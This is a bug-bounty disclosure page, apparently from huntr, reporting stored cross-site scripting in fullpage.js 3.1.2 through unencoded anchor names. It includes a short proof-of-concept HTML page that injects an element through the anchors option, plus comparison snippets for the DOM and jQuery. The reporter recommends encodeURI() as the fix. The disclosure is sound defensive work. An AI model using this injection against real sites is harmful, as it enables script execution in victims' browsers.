Lucene search

K
huntrRanjit-git08D2A6D0-772F-4B05-834E-86343F263C35
HistoryApr 11, 2022 - 8:00 p.m.

stored xss due to unsantized anchor url

2022-04-1120:00:56
ranjit-git
www.huntr.dev
20

0.001 Low

EPSS

Percentile

21.4%

BUG

stored xss due to unsantized anchor url

SUMMURY

using fullpage.js you can create a anchor tag . But when put href in anchor then it does not sanitize the url which allow to break context of anchor element and can add our new element .
I see main javascript or other javascript library like jquery are properly sanitized the url before puting in anchor tag .

STEP TO RERPDOUCE

i uses bellow code to test

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/fullPage.js/3.1.2/fullpage.css" />
</head>
<body>
<h3>check the anchor of black dot on right-side</h3>
<div>
    <div>    
    </div>
</div>

&lt;script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/fullPage.js/3.1.2/fullpage.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
    var myFullpage = new fullpage('#fullpage', {
        anchors: ['xss1"&gt;<img src>'],
        navigation: true
    });
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Here see i put xss1"&gt;<img src> in anchors array . During anchor tag creation fullpage.js does not encoded this url . So, this payload will close the existing anchor tag and create a new element <img> . So, using this payload we can execute any javascript code .

My suggestion is before putting in anchor href ,you must encode the url using encodeURI() https://www.w3schools.com/JSREF/jsref_encodeuri.asp
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI

i checked other library and they are properly encoded the url so that it does not break the existing element context

\

main-javascript

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
  var x = document.createElement("A");
  var t = document.createTextNode("Tutorials");
  x.setAttribute("href", 'https://www.w3schools.com/xsss=xss" sdfsf"&gt;<img src>');
  x.appendChild(t);
  document.body.appendChild(x);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

jquery

 &lt;!DOCTYPE html&gt;
    &lt;html&gt;
    &lt;head&gt;
        &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
            &lt;script&gt;
          $(document).ready(function() {
            $('#btn').click(function() {
                var link = $("<a>");
                link.attr("href", '#dasda"&gt;<img src>');
                link.attr("title", "Google.com");
                link.text("Google");
                $(".box").html(link);
            });
             $('#btn').click();
        });
        &lt;/script&gt;
        <div></div>
            <p>&lt;input type="button" id="btn" style="display:none" value="Create Link"&gt;</p>
    &lt;/body&gt;
     
    &lt;/html&gt;

0.001 Low

EPSS

Percentile

21.4%

Related for 08D2A6D0-772F-4B05-834E-86343F263C35